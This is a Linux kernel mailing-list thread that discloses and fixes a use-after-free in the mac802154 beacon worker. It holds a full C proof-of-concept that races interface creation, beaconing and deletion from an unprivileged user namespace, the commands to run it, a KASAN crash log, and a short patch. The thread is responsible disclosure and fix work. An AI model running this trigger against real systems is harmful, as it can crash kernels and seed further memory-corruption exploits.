* [PATCH net 0/1] mac802154: Fix beacon worker UAF
@ 2026-08-02 9:23 Zihan Xi
2026-08-02 9:23 ` [PATCH net 1/1] mac802154: fix netdev use-after-free in beacon worker Zihan Xi
0 siblings, 1 reply; 2+ messages in thread
From: Zihan Xi @ 2026-08-02 9:23 UTC (permalink / raw)
To: linux-wpan, netdev
Cc: alex.aring, stefan, miquel.raynal, davem, edumazet, pabeni, horms,
david.girault, vega, zihanx
Hi Linux kernel maintainers,
We found and validated a issue in net/mac802154/scan.c. The bug is
reachable by a user who becomes namespaced root in user and net
namespaces, with nl802154 admin operations requiring CAP_NET_ADMIN in
that namespace.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
mac802154_beacon_worker() reads local->beacon_req under RCU, derives the
sub-interface from beacon_req->wpan_dev, and then drops the RCU read
lock before using sdata and wpan_dev.
mac802154_stop_beacons_locked() only cancels pending delayed work with
cancel_delayed_work(), clears local->beacon_req, and frees the request.
If the beacon worker is already running, interface teardown can free the
netdev private area while the worker continues to dereference sdata and
the embedded wpan_dev outside RCU.
The selected baseline already contains an equivalent netdev reference
fix for mac802154_scan_worker(). This patch applies the same lifetime
rule to mac802154_beacon_worker(): take a netdev reference while the RCU
read lock still protects the request-derived sdata pointer, and release
it on every path that continues after the reference is acquired.
Reproducer:
gcc -O2 -static -o poc poc.c
unshare -Urn ./poc
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <errno.h>
#include <linux/genetlink.h>
#include <linux/netlink.h>
#include <net/if.h>
#include <sched.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
#ifndef NLA_ALIGNTO
#define NLA_ALIGNTO 4
#endif
#ifndef NLA_ALIGN
#define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1))
#endif
#ifndef NLA_HDRLEN
#define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr)))
#endif
#ifndef NLA_DATA
#define NLA_DATA(nla) ((void *)((char *)(nla) + NLA_HDRLEN))
#endif
#ifndef NLA_NEXT
#define NLA_NEXT(nla, attrlen) \
((attrlen) -= NLA_ALIGN((nla)->nla_len), \
(struct nlattr *)(((char *)(nla)) + NLA_ALIGN((nla)->nla_len)))
#endif
#ifndef NLA_OK
#define NLA_OK(nla, len) \
((len) >= (int)sizeof(struct nlattr) && (nla)->nla_len >= sizeof(struct nlattr) && \
(nla)->nla_len <= (len))
#endif
#define NL802154_GENL_NAME "nl802154"
#define MAX_MSG 8192
#define PAN_ID_BASE 0x1234
enum nl802154_commands {
NL802154_CMD_UNSPEC,
NL802154_CMD_GET_WPAN_PHY,
NL802154_CMD_SET_WPAN_PHY,
NL802154_CMD_NEW_WPAN_PHY,
NL802154_CMD_DEL_WPAN_PHY,
NL802154_CMD_GET_INTERFACE,
NL802154_CMD_SET_INTERFACE,
NL802154_CMD_NEW_INTERFACE,
NL802154_CMD_DEL_INTERFACE,
NL802154_CMD_SET_CHANNEL,
NL802154_CMD_SET_PAN_ID,
NL802154_CMD_SET_SHORT_ADDR,
NL802154_CMD_SET_TX_POWER,
NL802154_CMD_SET_CCA_MODE,
NL802154_CMD_SET_CCA_ED_LEVEL,
NL802154_CMD_SET_MAX_FRAME_RETRIES,
NL802154_CMD_SET_BACKOFF_EXPONENT,
NL802154_CMD_SET_MAX_CSMA_BACKOFFS,
NL802154_CMD_SET_LBT_MODE,
NL802154_CMD_SET_ACKREQ_DEFAULT,
NL802154_CMD_SET_WPAN_PHY_NETNS,
NL802154_CMD_SET_SEC_PARAMS,
NL802154_CMD_GET_SEC_KEY,
NL802154_CMD_NEW_SEC_KEY,
NL802154_CMD_DEL_SEC_KEY,
NL802154_CMD_GET_SEC_DEV,
NL802154_CMD_NEW_SEC_DEV,
NL802154_CMD_DEL_SEC_DEV,
NL802154_CMD_GET_SEC_DEVKEY,
NL802154_CMD_NEW_SEC_DEVKEY,
NL802154_CMD_DEL_SEC_DEVKEY,
NL802154_CMD_GET_SEC_LEVEL,
NL802154_CMD_NEW_SEC_LEVEL,
NL802154_CMD_DEL_SEC_LEVEL,
NL802154_CMD_SCAN_EVENT,
NL802154_CMD_TRIGGER_SCAN,
NL802154_CMD_ABORT_SCAN,
NL802154_CMD_SCAN_DONE,
NL802154_CMD_SEND_BEACONS,
NL802154_CMD_STOP_BEACONS,
};
enum nl802154_attrs {
NL802154_ATTR_UNSPEC,
NL802154_ATTR_WPAN_PHY,
NL802154_ATTR_WPAN_PHY_NAME,
NL802154_ATTR_IFINDEX,
NL802154_ATTR_IFNAME,
NL802154_ATTR_IFTYPE,
NL802154_ATTR_WPAN_DEV,
NL802154_ATTR_PAGE,
NL802154_ATTR_CHANNEL,
NL802154_ATTR_PAN_ID,
NL802154_ATTR_SHORT_ADDR,
NL802154_ATTR_TX_POWER,
NL802154_ATTR_CCA_MODE,
NL802154_ATTR_CCA_OPT,
NL802154_ATTR_CCA_ED_LEVEL,
NL802154_ATTR_MAX_FRAME_RETRIES,
NL802154_ATTR_MAX_BE,
NL802154_ATTR_MIN_BE,
NL802154_ATTR_MAX_CSMA_BACKOFFS,
NL802154_ATTR_LBT_MODE,
NL802154_ATTR_GENERATION,
NL802154_ATTR_CHANNELS_SUPPORTED,
NL802154_ATTR_SUPPORTED_CHANNEL,
NL802154_ATTR_EXTENDED_ADDR,
NL802154_ATTR_WPAN_PHY_CAPS,
NL802154_ATTR_SUPPORTED_COMMANDS,
NL802154_ATTR_ACKREQ_DEFAULT,
NL802154_ATTR_PAD,
NL802154_ATTR_PID,
NL802154_ATTR_NETNS_FD,
NL802154_ATTR_COORDINATOR,
NL802154_ATTR_SCAN_TYPE,
NL802154_ATTR_SCAN_FLAGS,
NL802154_ATTR_SCAN_CHANNELS,
NL802154_ATTR_SCAN_PREAMBLE_CODES,
NL802154_ATTR_SCAN_MEAN_PRF,
NL802154_ATTR_SCAN_DURATION,
NL802154_ATTR_SCAN_DONE_REASON,
NL802154_ATTR_BEACON_INTERVAL,
};
enum nl802154_iftype {
NL802154_IFTYPE_UNSPEC = (~(__u32)0),
NL802154_IFTYPE_NODE = 0,
NL802154_IFTYPE_MONITOR,
NL802154_IFTYPE_COORD,
};
struct nl_state {
int fd;
uint32_t seq;
uint16_t family_id;
};
struct new_if_arg {
uint32_t phy;
const char *name;
uint32_t iftype;
};
struct set_pan_arg {
uint32_t ifidx;
uint16_t pan_id;
};
struct beacon_arg {
uint32_t ifidx;
uint8_t interval;
};
static int add_attr(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
const void *data, size_t len)
{
size_t off = NLMSG_ALIGN(nlh->nlmsg_len);
size_t attr_len = NLA_HDRLEN + len;
size_t new_len = off + NLA_ALIGN(attr_len);
if (new_len > maxlen)
return -1;
struct nlattr *nla = (struct nlattr *)((char *)nlh + off);
nla->nla_type = type;
nla->nla_len = attr_len;
memcpy((char *)nla + NLA_HDRLEN, data, len);
memset((char *)nla + attr_len, 0, NLA_ALIGN(attr_len) - attr_len);
nlh->nlmsg_len = new_len;
return 0;
}
static int add_attr_u8(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
uint8_t val)
{
return add_attr(nlh, maxlen, type, &val, sizeof(val));
}
static int add_attr_u16(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
uint16_t val)
{
return add_attr(nlh, maxlen, type, &val, sizeof(val));
}
static int add_attr_u32(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
uint32_t val)
{
return add_attr(nlh, maxlen, type, &val, sizeof(val));
}
static int add_attr_str(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
const char *s)
{
return add_attr(nlh, maxlen, type, s, strlen(s) + 1);
}
static int nl_open(struct nl_state *st)
{
struct sockaddr_nl addr;
st->fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (st->fd < 0)
return -errno;
memset(&addr, 0, sizeof(addr));
addr.nl_family = AF_NETLINK;
addr.nl_pid = getpid() ^ (uint32_t)time(NULL);
if (bind(st->fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
int err = -errno;
close(st->fd);
st->fd = -1;
return err;
}
st->seq = 0;
st->family_id = 0;
return 0;
}
static int nl_send(struct nl_state *st, struct nlmsghdr *nlh)
{
struct sockaddr_nl nladdr;
struct iovec iov = {.iov_base = nlh, .iov_len = nlh->nlmsg_len};
struct msghdr msg;
memset(&nladdr, 0, sizeof(nladdr));
nladdr.nl_family = AF_NETLINK;
memset(&msg, 0, sizeof(msg));
msg.msg_name = &nladdr;
msg.msg_namelen = sizeof(nladdr);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
if (sendmsg(st->fd, &msg, 0) < 0)
return -errno;
return 0;
}
static int nl_recv_for_seq(struct nl_state *st, uint32_t seq,
int (*cb)(struct nlmsghdr *, void *), void *cb_arg,
bool *got_answer)
{
char buf[MAX_MSG];
for (;;) {
ssize_t len = recv(st->fd, buf, sizeof(buf), 0);
if (len < 0) {
if (errno == EINTR)
continue;
return -errno;
}
for (struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
NLMSG_OK(nlh, (unsigned int)len);
nlh = NLMSG_NEXT(nlh, len)) {
if (nlh->nlmsg_seq != seq)
continue;
if (got_answer)
*got_answer = true;
if (nlh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(nlh);
return err->error;
}
if (cb) {
int ret = cb(nlh, cb_arg);
if (ret)
return ret;
} else {
return 0;
}
if (nlh->nlmsg_type == NLMSG_DONE)
return 0;
}
}
}
static int parse_family_id(struct nlmsghdr *nlh, void *arg)
{
uint16_t *family_id = arg;
struct genlmsghdr *genl;
struct nlattr *attr;
int rem;
if (nlh->nlmsg_type == NLMSG_DONE)
return 0;
if (nlh->nlmsg_len < NLMSG_LENGTH(GENL_HDRLEN))
return -EINVAL;
genl = (struct genlmsghdr *)NLMSG_DATA(nlh);
rem = nlh->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN);
attr = (struct nlattr *)((char *)genl + GENL_HDRLEN);
for (; NLA_OK(attr, rem); attr = NLA_NEXT(attr, rem)) {
if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
*family_id = *(uint16_t *)NLA_DATA(attr);
return 1;
}
}
return 0;
}
static int nl_resolve_family(struct nl_state *st, const char *family_name)
{
char buf[MAX_MSG];
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct genlmsghdr *genl = (struct genlmsghdr *)NLMSG_DATA(nlh);
uint32_t seq = ++st->seq;
uint16_t id = 0;
bool got = false;
int ret;
memset(buf, 0, sizeof(buf));
nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
nlh->nlmsg_type = GENL_ID_CTRL;
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = seq;
genl->cmd = CTRL_CMD_GETFAMILY;
genl->version = 1;
if (add_attr_str(nlh, sizeof(buf), CTRL_ATTR_FAMILY_NAME, family_name) < 0)
return -EMSGSIZE;
ret = nl_send(st, nlh);
if (ret < 0)
return ret;
for (;;) {
ret = nl_recv_for_seq(st, seq, parse_family_id, &id, &got);
if (ret == 1)
break;
if (ret < 0)
return ret;
if (got)
break;
}
if (!id)
return -ENOENT;
st->family_id = id;
return 0;
}
static int nl_cmd(struct nl_state *st, uint8_t cmd,
int (*fill)(struct nlmsghdr *, size_t, void *), void *fill_arg,
bool need_ack)
{
char buf[MAX_MSG];
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct genlmsghdr *genl = (struct genlmsghdr *)NLMSG_DATA(nlh);
uint32_t seq = ++st->seq;
bool got = false;
int ret;
memset(buf, 0, sizeof(buf));
nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
nlh->nlmsg_type = st->family_id;
nlh->nlmsg_flags = NLM_F_REQUEST | (need_ack ? NLM_F_ACK : 0);
nlh->nlmsg_seq = seq;
genl->cmd = cmd;
genl->version = 1;
if (fill && fill(nlh, sizeof(buf), fill_arg) < 0)
return -EMSGSIZE;
ret = nl_send(st, nlh);
if (ret < 0)
return ret;
if (!need_ack)
return 0;
ret = nl_recv_for_seq(st, seq, NULL, NULL, &got);
if (ret < 0)
return ret;
return 0;
}
static int set_if_up(const char *ifname, bool up)
{
int fd = socket(AF_INET, SOCK_DGRAM, 0);
struct ifreq ifr;
if (fd < 0)
return -errno;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1);
if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0) {
int err = -errno;
close(fd);
return err;
}
if (up)
ifr.ifr_flags |= IFF_UP;
else
ifr.ifr_flags &= ~IFF_UP;
if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) {
int err = -errno;
close(fd);
return err;
}
close(fd);
return 0;
}
static int fill_new_if(struct nlmsghdr *nlh, size_t maxlen, void *arg_)
{
struct new_if_arg *arg = arg_;
if (add_attr_u32(nlh, maxlen, NL802154_ATTR_WPAN_PHY, arg->phy) < 0)
return -1;
if (add_attr_str(nlh, maxlen, NL802154_ATTR_IFNAME, arg->name) < 0)
return -1;
if (add_attr_u32(nlh, maxlen, NL802154_ATTR_IFTYPE, arg->iftype) < 0)
return -1;
return 0;
}
static int fill_ifidx(struct nlmsghdr *nlh, size_t maxlen, void *arg_)
{
uint32_t ifidx = *(uint32_t *)arg_;
return add_attr_u32(nlh, maxlen, NL802154_ATTR_IFINDEX, ifidx);
}
static int fill_set_pan(struct nlmsghdr *nlh, size_t maxlen, void *arg_)
{
struct set_pan_arg *arg = arg_;
if (add_attr_u32(nlh, maxlen, NL802154_ATTR_IFINDEX, arg->ifidx) < 0)
return -1;
if (add_attr_u16(nlh, maxlen, NL802154_ATTR_PAN_ID, arg->pan_id) < 0)
return -1;
return 0;
}
static int fill_beacon(struct nlmsghdr *nlh, size_t maxlen, void *arg_)
{
struct beacon_arg *arg = arg_;
if (add_attr_u32(nlh, maxlen, NL802154_ATTR_IFINDEX, arg->ifidx) < 0)
return -1;
if (add_attr_u8(nlh, maxlen, NL802154_ATTR_BEACON_INTERVAL, arg->interval) < 0)
return -1;
return 0;
}
static int cmd_new_interface(struct nl_state *st, uint32_t phy, const char *name,
uint32_t iftype)
{
struct new_if_arg arg = {
.phy = phy,
.name = name,
.iftype = iftype,
};
return nl_cmd(st, NL802154_CMD_NEW_INTERFACE, fill_new_if, &arg, true);
}
static int cmd_del_interface(struct nl_state *st, uint32_t ifidx)
{
return nl_cmd(st, NL802154_CMD_DEL_INTERFACE, fill_ifidx, &ifidx, true);
}
static int cmd_set_pan_id(struct nl_state *st, uint32_t ifidx, uint16_t pan_id)
{
struct set_pan_arg arg = {
.ifidx = ifidx,
.pan_id = pan_id,
};
return nl_cmd(st, NL802154_CMD_SET_PAN_ID, fill_set_pan, &arg, true);
}
static int cmd_send_beacons(struct nl_state *st, uint32_t ifidx, uint8_t interval)
{
struct beacon_arg arg = {
.ifidx = ifidx,
.interval = interval,
};
return nl_cmd(st, NL802154_CMD_SEND_BEACONS, fill_beacon, &arg, true);
}
int main(int argc, char **argv)
{
struct nl_state st;
int iterations = 100000;
uint32_t phy = 0;
uint64_t create_ok = 0, beacon_ok = 0, del_ok = 0;
int ret;
if (argc > 1)
iterations = atoi(argv[1]);
srand((unsigned int)time(NULL));
memset(&st, 0, sizeof(st));
ret = nl_open(&st);
if (ret < 0) {
fprintf(stderr, "nl_open failed: %d\n", ret);
return 1;
}
ret = nl_resolve_family(&st, NL802154_GENL_NAME);
if (ret < 0) {
fprintf(stderr, "resolve %s failed: %d\n", NL802154_GENL_NAME, ret);
return 1;
}
for (int i = 0; i < iterations; i++) {
char ifname[32];
uint32_t ifidx;
uint16_t pan_id = (uint16_t)(PAN_ID_BASE + (i & 0xff));
struct timespec ts;
snprintf(ifname, sizeof(ifname), "bcn%d", i % 1000);
ret = cmd_new_interface(&st, phy, ifname, NL802154_IFTYPE_COORD);
if (ret < 0) {
if (ret == -EEXIST) {
sched_yield();
continue;
}
fprintf(stderr, "[%d] new_interface(%s) failed: %d\n", i, ifname, ret);
continue;
}
create_ok++;
ifidx = if_nametoindex(ifname);
if (!ifidx) {
fprintf(stderr, "[%d] if_nametoindex(%s) failed\n", i, ifname);
continue;
}
ret = cmd_set_pan_id(&st, ifidx, pan_id);
if (ret < 0) {
fprintf(stderr, "[%d] set_pan_id(%u) failed: %d\n", i, ifidx, ret);
cmd_del_interface(&st, ifidx);
continue;
}
ret = set_if_up(ifname, true);
if (ret < 0) {
fprintf(stderr, "[%d] set_if_up(%s) failed: %d\n", i, ifname, ret);
cmd_del_interface(&st, ifidx);
continue;
}
ret = cmd_send_beacons(&st, ifidx, 0);
if (ret < 0) {
fprintf(stderr, "[%d] send_beacons(%u) failed: %d\n", i, ifidx, ret);
cmd_del_interface(&st, ifidx);
continue;
}
beacon_ok++;
ts.tv_sec = 0;
ts.tv_nsec = (long)(1000 * (50 + (rand() % 600)));
nanosleep(&ts, NULL);
ret = cmd_del_interface(&st, ifidx);
if (ret < 0 && ret != -ENODEV)
fprintf(stderr, "[%d] del_interface(%u) failed: %d\n", i, ifidx, ret);
else
del_ok++;
if ((i % 100) == 0) {
printf("iter=%d create_ok=%llu beacon_ok=%llu del_ok=%llu\n",
i,
(unsigned long long)create_ok,
(unsigned long long)beacon_ok,
(unsigned long long)del_ok);
fflush(stdout);
}
}
close(st.fd);
return 0;
}
------END poc.c--------
----BEGIN crash log----
[ 45.261167] net bcn629: Beacon could not be transmitted (-100)
[ 45.538139] net bcn637: Beacon could not be transmitted (-100)
[ 45.712979] net bcn642: Beacon could not be transmitted (-100)
[ 45.880237] net bcn648: Beacon could not be transmitted (-100)
[ 45.930786] ==================================================================
[ 45.945098] BUG: KASAN: slab-use-after-free in mac802154_beacon_worker (net/mac802154/scan.c:447)
[ 45.958894] Read of size 8 at addr ffff888009701b28 by task kworker/u8:2/54
[ 45.971385]
[ 45.973998] CPU: 0 UID: 0 PID: 54 Comm: kworker/u8:2 Not tainted 7.2.0-rc4-g88c17de85ddb #1 PREEMPT(lazy)
[ 45.974003] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 45.974005] Workqueue: phy0-mac-cmds mac802154_beacon_worker
[ 45.974012] Call Trace:
[ 45.974015] <TASK>
[ 45.974017] dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)
[ 45.974021] print_report (mm/kasan/report.c:378 mm/kasan/report.c:482)
[ 45.974024] ? __pfx__raw_spin_lock_irqsave (include/asm-generic/qrwlock.h:122 (discriminator 4))
[ 45.974027] ? mac802154_beacon_worker (net/mac802154/scan.c:447)
[ 45.974029] kasan_report (mm/kasan/report.c:595)
[ 45.974031] ? mac802154_beacon_worker (net/mac802154/scan.c:447)
[ 45.974033] mac802154_beacon_worker (net/mac802154/scan.c:447)
[ 45.974035] process_one_work (kernel/workqueue.c:3322)
[ 45.974040] ? assign_work (kernel/workqueue.c:1233)
[ 45.974042] worker_thread (kernel/workqueue.c:3405 kernel/workqueue.c:3486)
[ 45.974044] ? __pfx_worker_thread (include/linux/list.h:249)
[ 45.974046] kthread (kernel/kthread.c:436)
[ 45.974048] ? recalc_sigpending (include/linux/instrumented.h:97 include/asm-generic/bitops/instrumented-atomic.h:41 include/linux/thread_info.h:109 kernel/signal.c:181)
[ 45.974050] ? __pfx_kthread (include/linux/list.h:162)
[ 45.974052] ret_from_fork (arch/x86/kernel/process.c:158)
[ 45.974054] ? __pfx_ret_from_fork (arch/x86/include/asm/desc.h:328 (discriminator 7))
[ 45.974056] ? __switch_to (arch/x86/kernel/process_64.c:403 arch/x86/kernel/process_64.c:663)
[ 45.974058] ? __pfx_kthread (include/linux/list.h:162)
[ 45.974060] ret_from_fork_asm (arch/x86/entry/entry_64.S:245)
[ 45.974063] </TASK>
[ 45.974063]
[ 46.185457] Allocated by task 257:
[ 46.191459] kasan_save_stack (mm/kasan/common.c:57)
[ 46.198963] kasan_save_track (mm/kasan/common.c:78)
[ 46.206032] __kasan_kmalloc (mm/kasan/common.c:398 mm/kasan/common.c:415)
[ 46.212506] __kvmalloc_node_noprof (include/linux/kasan.h:263 mm/slub.c:5362 mm/slub.c:6933)
[ 46.220575] alloc_netdev_mqs (net/core/dev.c:12054 (discriminator 2))
[ 46.228370] ieee802154_if_add (net/mac802154/iface.c:620)
[ 46.235835] ieee802154_add_iface (net/mac802154/cfg.c:92)
[ 46.242768] nl802154_new_interface (net/ieee802154/rdev-ops.h:56 net/ieee802154/nl802154.c:948)
[ 46.251225] genl_family_rcv_msg_doit (net/netlink/genetlink.c:1114)
[ 46.259138] genl_rcv_msg (net/netlink/genetlink.c:1194 net/netlink/genetlink.c:1209)
[ 46.267140] netlink_rcv_skb (net/netlink/af_netlink.c:2556)
[ 46.274455] genl_rcv (net/netlink/genetlink.c:1218)
[ 46.279978] netlink_unicast (net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1345)
[ 46.287407] netlink_sendmsg (net/netlink/af_netlink.c:1900)
[ 46.294879] ____sys_sendmsg (net/socket.c:775 (discriminator 1) net/socket.c:790 (discriminator 1) net/socket.c:2684 (discriminator 1))
[ 46.302513] ___sys_sendmsg (net/socket.c:2738)
[ 46.310950] __sys_sendmsg (net/socket.c:2770)
[ 46.317836] do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[ 46.325225] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[ 46.334407]
[ 46.337166] Freed by task 257:
[ 46.342323] kasan_save_stack (mm/kasan/common.c:57)
[ 46.349979] kasan_save_track (mm/kasan/common.c:78)
[ 46.357214] kasan_save_free_info (mm/kasan/generic.c:584)
[ 46.365218] __kasan_slab_free (mm/kasan/common.c:253 mm/kasan/common.c:285)
[ 46.372115] kfree (include/linux/kasan.h:235 mm/slub.c:2705 mm/slub.c:6405 mm/slub.c:6720)
[ 46.378280] device_release (drivers/base/core.c:2636)
[ 46.385399] kobject_put (lib/kobject.c:689 lib/kobject.c:720 include/linux/kref.h:65 lib/kobject.c:737)
[ 46.391492] netdev_run_todo (net/core/dev.c:11755)
[ 46.398749] genl_family_rcv_msg_doit (net/netlink/genetlink.c:1117)
[ 46.407140] genl_rcv_msg (net/netlink/genetlink.c:1194 net/netlink/genetlink.c:1209)
[ 46.413714] netlink_rcv_skb (net/netlink/af_netlink.c:2556)
[ 46.421327] genl_rcv (net/netlink/genetlink.c:1218)
[ 46.427117] netlink_unicast (net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1345)
[ 46.434304] netlink_sendmsg (net/netlink/af_netlink.c:1900)
[ 46.441234] ____sys_sendmsg (net/socket.c:775 (discriminator 1) net/socket.c:790 (discriminator 1) net/socket.c:2684 (discriminator 1))
[ 46.448433] ___sys_sendmsg (net/socket.c:2738)
[ 46.455085] __sys_sendmsg (net/socket.c:2770)
[ 46.464857] do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[ 46.471414] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[ 46.480946]
[ 46.483515] The buggy address belongs to the object at ffff888009701000
[ 46.483515] which belongs to the cache kmalloc-4k of size 4096
[ 46.507299] The buggy address is located 2856 bytes inside of
[ 46.507299] freed 4096-byte region [ffff888009701000, ffff888009702000)
[ 46.530004]
[ 46.532790] The buggy address belongs to the physical page:
[ 46.543614] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x9700
[ 46.558297] head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
[ 46.572146] flags: 0x100000000000040(head|node=0|zone=1)
[ 46.585565] page_type: f5(slab)
[ 46.591088] raw: 0100000000000040 ffff8880010433c0 ffffea000018c610 ffffea000009d410
[ 46.605298] raw: 0000000000000000 0000000000020002 00000000f5000000 0000000000000000
[ 46.619680] head: 0100000000000040 ffff8880010433c0 ffffea000018c610 ffffea000009d410
[ 46.635070] head: 0000000000000000 0000000000020002 00000000f5000000 0000000000000000
[ 46.649082] head: 0100000000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
[ 46.663669] head: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000000
[ 46.677896] page dumped because: kasan: bad access detected
[ 46.687759]
[ 46.690081] Memory state around the buggy address:
[ 46.700017] ffff888009701a00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 46.712698] ffff888009701a80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 46.724750] >ffff888009701b00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 46.737595] ^
[ 46.745612] ffff888009701b80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 46.758377] ffff888009701c00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 46.771889] ==================================================================
[ 46.785657] clocksource: Marking clocksource tsc unstable due to frequency skew
[ 46.798517] clocksource: Watchdog kvm-clock interval: 1581ns
[ 46.817052] clocksource: Clocksource tsc interval: 1465ns
[ 46.834198] tsc: Marking TSC unstable due to clocksource watchdog
[ 46.852453] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[ 46.865384] CPU: 1 UID: 0 PID: 54 Comm: kworker/u8:2 Not tainted 7.2.0-rc4-g88c17de85ddb #1 PREEMPT(lazy)
[ 46.884681] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 46.909534] Workqueue: phy0-mac-cmds mac802154_beacon_worker
[ 46.920741] Call Trace:
[ 46.925297] <TASK>
[ 46.929456] vpanic (kernel/panic.c:651)
-----END crash log-----
Best regards,
Zihan Xi
Zihan Xi (1):
mac802154: fix netdev use-after-free in beacon worker
net/mac802154/scan.c | 4 ++++
1 file changed, 4 insertions(+)
--
2.43.0
^ permalink raw reply [flat|nested] 2+ messages in thread* [PATCH net 1/1] mac802154: fix netdev use-after-free in beacon worker
2026-08-02 9:23 [PATCH net 0/1] mac802154: Fix beacon worker UAF Zihan Xi
@ 2026-08-02 9:23 ` Zihan Xi
0 siblings, 0 replies; 2+ messages in thread
From: Zihan Xi @ 2026-08-02 9:23 UTC (permalink / raw)
To: linux-wpan, netdev
Cc: alex.aring, stefan, miquel.raynal, davem, edumazet, pabeni, horms,
david.girault, vega, zihanx
mac802154_beacon_worker() reads local->beacon_req under RCU and derives
the sub-interface from the request, but then drops the RCU read lock and
continues to use both sdata and the embedded wpan_dev.
mac802154_stop_beacons_locked() cancels only pending beacon work, clears
local->beacon_req and frees the request. A beacon worker that is already
running can therefore continue after interface teardown and dereference
the freed netdev private area.
The scan worker already pins the netdev before leaving RCU. Apply the
same lifetime rule to the beacon worker: take a netdev reference while
the request is still protected by RCU, and release it on all paths that
continue after the reference is acquired.
Fixes: 3accf4762734 ("mac802154: Handle basic beaconing")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
net/mac802154/scan.c | 4 ++++
1 file changed, 4 insertions(+)
diff --git a/net/mac802154/scan.c b/net/mac802154/scan.c
index 65089826f..ebd092d40 100644
--- a/net/mac802154/scan.c
+++ b/net/mac802154/scan.c
@@ -416,6 +416,7 @@ void mac802154_beacon_worker(struct work_struct *work)
struct cfg802154_beacon_request *beacon_req;
struct ieee802154_sub_if_data *sdata;
struct wpan_dev *wpan_dev;
+ netdevice_tracker dev_tracker;
u8 interval;
int ret;
@@ -427,12 +428,14 @@ void mac802154_beacon_worker(struct work_struct *work)
}
sdata = IEEE802154_WPAN_DEV_TO_SUB_IF(beacon_req->wpan_dev);
+ netdev_hold(sdata->dev, &dev_tracker, GFP_ATOMIC);
/* Wait an arbitrary amount of time in case we cannot use the device */
if (local->suspended || !ieee802154_sdata_running(sdata)) {
rcu_read_unlock();
queue_delayed_work(local->mac_wq, &local->beacon_work,
msecs_to_jiffies(1000));
+ netdev_put(sdata->dev, &dev_tracker);
return;
}
@@ -450,6 +453,7 @@ void mac802154_beacon_worker(struct work_struct *work)
if (interval < IEEE802154_ACTIVE_SCAN_DURATION)
queue_delayed_work(local->mac_wq, &local->beacon_work,
local->beacon_interval);
+ netdev_put(sdata->dev, &dev_tracker);
}
int mac802154_stop_beacons_locked(struct ieee802154_local *local,
--
2.43.0
^ permalink raw reply related [flat|nested] 2+ messages in thread
end of thread, other threads:[~2026-08-02 9:24 UTC | newest]
Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-08-02 9:23 [PATCH net 0/1] mac802154: Fix beacon worker UAF Zihan Xi
2026-08-02 9:23 ` [PATCH net 1/1] mac802154: fix netdev use-after-free in beacon worker Zihan Xi
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox